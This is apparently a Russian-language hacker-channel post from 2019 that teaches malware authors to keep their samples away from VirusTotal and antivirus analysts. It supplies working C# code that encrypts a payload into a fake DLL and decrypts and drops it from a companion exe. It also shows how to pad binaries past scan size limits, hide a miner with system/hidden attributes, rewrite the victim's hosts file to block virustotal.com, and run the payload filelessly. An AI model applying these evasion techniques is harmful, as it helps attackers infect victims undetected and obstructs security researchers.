March 16, 2019

Защищаем файлы от слива на VT {Вирусология}

http://tele.click/darkside_team

Доброго дня хацкеры, сегодня поговорим о методах защиты файла от попадания на Virus Total и в руки к другим антивирусов.

Для начала давайте развеем миф о том, что лоадер спасает от слива на вт. Поверьте люди которые работают в команде вт и других антивирусов не так глупы , если им в руки попадет лоадер они полюбому его запустят ,увидят что он подкачивает какие-то файлы и тоже их проанализируют.

По сути мы можем разделить нашу защиту от слива на два этапа : 1) до установки малваре на пк жертвы ; 2) после установки малваре на пк жертвы ;

Приступим к первому варианту. Здесь я увидел 2 метода :

1) Первый и наиболее по моему мнению юзабельний это разделить ваш вирус на два файла например, на dll и exe . Это не должно быть только проверка на наличие длл'кы, в ней должно быть скрытая часть вируса. Например, в dllесть зашифрованные байты самого вируса, а exe их расшифровывает и запускает. Жертва не сможет слить на вт два файла сразу, а один без другого работать не будет. Шанс что ав соберут два файла вместе и запустят их действительно мизерный.

Ниже пример реализаци на c#,для шифрования будем использовать метод sha256 :

Сам exe файлик:

using System;
using System.IO;
using System.Security.Cryptography;
using System.Text;

namespace ExePart
{
    class Program
    {
        static string password = "shopozanyanime";
        static void Main(string[] args)
        {
            if (File.Exists("file.dll"))
            {
                byte[] decrypted = decrypt(File.ReadAllBytes("file.dll"));
                File.WriteAllBytes(Path.GetTempPath() + "\\nachvt.exe",decrypted);
            }
        }
        public static byte[] decrypt(byte[] cipherBytes)
        {
            byte[] plainBytes;
            Aes encryptor = Aes.Create();

            encryptor.Mode = CipherMode.CBC;
            SHA256 mySHA256 = SHA256Managed.Create();

            encryptor.Key = mySHA256.ComputeHash(Encoding.ASCII.GetBytes(password));
            encryptor.IV = new byte[16] { 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0 };

            MemoryStream memoryStream = new MemoryStream();

            ICryptoTransform aesDecryptor = encryptor.CreateDecryptor();

            CryptoStream cryptoStream = new CryptoStream(memoryStream, aesDecryptor, CryptoStreamMode.Write);

            string plainText = String.Empty;

            try
            {
                cryptoStream.Write(cipherBytes, 0, cipherBytes.Length);

                cryptoStream.FlushFinalBlock();

                 plainBytes = memoryStream.ToArray();

            }
            finally
            {
                memoryStream.Close();
                cryptoStream.Close();
            }
            return plainBytes;
        }
    }
}

DllCreator

using System.IO;
using System.Security.Cryptography;
using System.Text;

namespace DllCreator
{
    class Program
    {
        static string password = "shopozanyanime";
        static void Main(string[] args)
        {
            byte[] start = File.ReadAllBytes("in.exe");
            byte[] encrypted = encrypt(start);
            File.WriteAllBytes("file.dll", encrypted);

        }
        public static byte[] encrypt(byte[] plainBytes)
        {
            Aes encryptor = Aes.Create();

            encryptor.Mode = CipherMode.CBC;

            SHA256 mySHA256 = SHA256Managed.Create();

            encryptor.Key = mySHA256.ComputeHash(Encoding.ASCII.GetBytes(password));
            encryptor.IV = new byte[16] { 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0 };

            MemoryStream memoryStream = new MemoryStream();
            ICryptoTransform aesEncryptor = encryptor.CreateEncryptor();
            CryptoStream cryptoStream = new CryptoStream(memoryStream, aesEncryptor, CryptoStreamMode.Write);


            cryptoStream.Write(plainBytes, 0, plainBytes.Length);

            cryptoStream.FlushFinalBlock();

            byte[] cipherBytes = memoryStream.ToArray();

            memoryStream.Close();
            cryptoStream.Close();


            return cipherBytes;
        }
    }
}

Да да да знаю можно было сделать лучше, копировать два файла в какую-то папку и использовать loadpe тогда все вообще будет круто,но я только показываю вам идею, даю вам пространство для размышлений по ее улучшению :)

2) Как мы знаем вт сканирует файлы до 256 мб . То есть нам нужно увеличить размер нашего вируса одним из способов. Например через Hex Editor.

Открываем нашу программу в Hex Editor

Идем в сам низ, где заканчиваются байты

Нажимаем Edit - > Insert bytes -> ставим много 999999

Сохраняем . Как мы видим размер увеличился - программа работает!

Здесь заканчивается первый этап. Он больше подходит для людей вручную распространяют файлы.

Теперь поговорим о методах защиты после установки малваре на пк жертвы :

1) Элементарно использовать атрибуты hidden и system (именно и и , а не или или)

string path  = @"C:\miner.exe";
File.SetAttributes(path , FileAttributes.System | FileAttributes.Hidden)

2) Можно просто заблокировать сайт вт и других антивирусов следующем кодом

String path =@"C:\Windows\System32\drivers\etc\hosts";
            StreamWriter sw = new StreamWriter(path, true);
            String sitetoblock = "\n 127.0.0.1 virustotal.com";
            sw.Write(sitetoblock);
            sw.Close(); // Работает не всегда

Минус в том, что могут понадобиться админ права.

3) Если файл будет существовать только в оперативной и не будет иметь физической основы на диске его не будет возможно слить на вт. Единственный минус файл будет работать только до перезагрузки пк.

Dark $ide - Твоя Тёмная Сторона